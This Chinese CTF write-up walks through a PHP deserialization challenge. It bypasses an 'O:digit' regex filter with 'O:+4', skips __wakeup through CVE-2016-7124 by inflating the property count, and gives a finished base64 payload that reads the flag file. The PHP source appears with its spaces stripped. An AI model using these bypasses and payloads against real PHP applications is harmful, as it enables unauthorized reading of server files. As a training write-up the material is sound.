Web_php_unserialize
classDemo{
private$file='index.php';
publicfunction__construct($file){
$this->file=$file;
}
function__destruct(){
echo@highlight_file($this->file,true);
}
function__wakeup(){
if($this->file!='index.php'){
//the secret is in the fl4g.PHP
$this->file='index.php';
}
}
}
if(isset($_GET['var'])){
$var=base64_decode($_GET['var']);
if(preg_match('/[oc]:\d+:/i',$var)){
die('stop hacking!');
}else{
@unserialize($var);
}
}else{
highlight_file("index.php");
}
?>
Demo 类可以看出
1. 初始化传入值可以更改类中属性 file 的值
2.flag 在 fl4g.PHP
3. 当 demo 实列销毁时会高亮显示 file 指向的文件内容
此时还没有看见传值点继续往下看
$_GET['var'] 这儿 get 方法传入 var 变量
此时需要满足的条件有:
1. 先进行 base64 加密
2.preg_match() 匹配绕过
3.unserialize() 反序列化执行_wakeup() 的绕过
第一条很好解决, 将传入数据 base64 加密即可.
第二条分析语句, 正则想要匹配的为 o 或 c : 任意长度数字 (至少一个) /i 表示匹配时不区分大小写
将题中所给的类进行序列化, 可得:
"O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.PHP";}"
正则匹配的就是 O:4 , 在这里我们将 4 改为 + 4 即可绕过
第三条类在反序列化后会执行_wakeup() 将 file 的值修改导致文件读取失败
此处把序列化语句中的 1 替换成 2(CVE-2016-7124), 即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup 的执行.
得到
"O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.PHP";}"
注: 在 PHP 中反序号化相当于字符串转换成变量的过程. 也就是说被序列化的类实例经过反序列化后仍然会生成为一个新的实例, 且会默认执行其中_wakeup 函数 , 而在实例销毁后会执行__destruct 函数.
PS: 在序列化私有变量时, 形成的序列化字符串与公共变量变量的序列化字符串不一样.
例如: 上述的 file 变量在实际中下会生成 "O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.PHP";}"
注意这里的 Demo file 前面个有一个空格, 如果在 url 中直接输入序列化字符串需要将空格转换成 %00 即构造
"O:+4:"Demo":2:{s:10:"%00Demo%00file";s:8:"fl4g.PHP";}" 否则会出现变量不对应的问题.
按照题目要求反序列化一下即可
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
传入 var =TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== 即可获取 flag
----------------
来源: http://www.bubuko.com/infodetail-3491705.html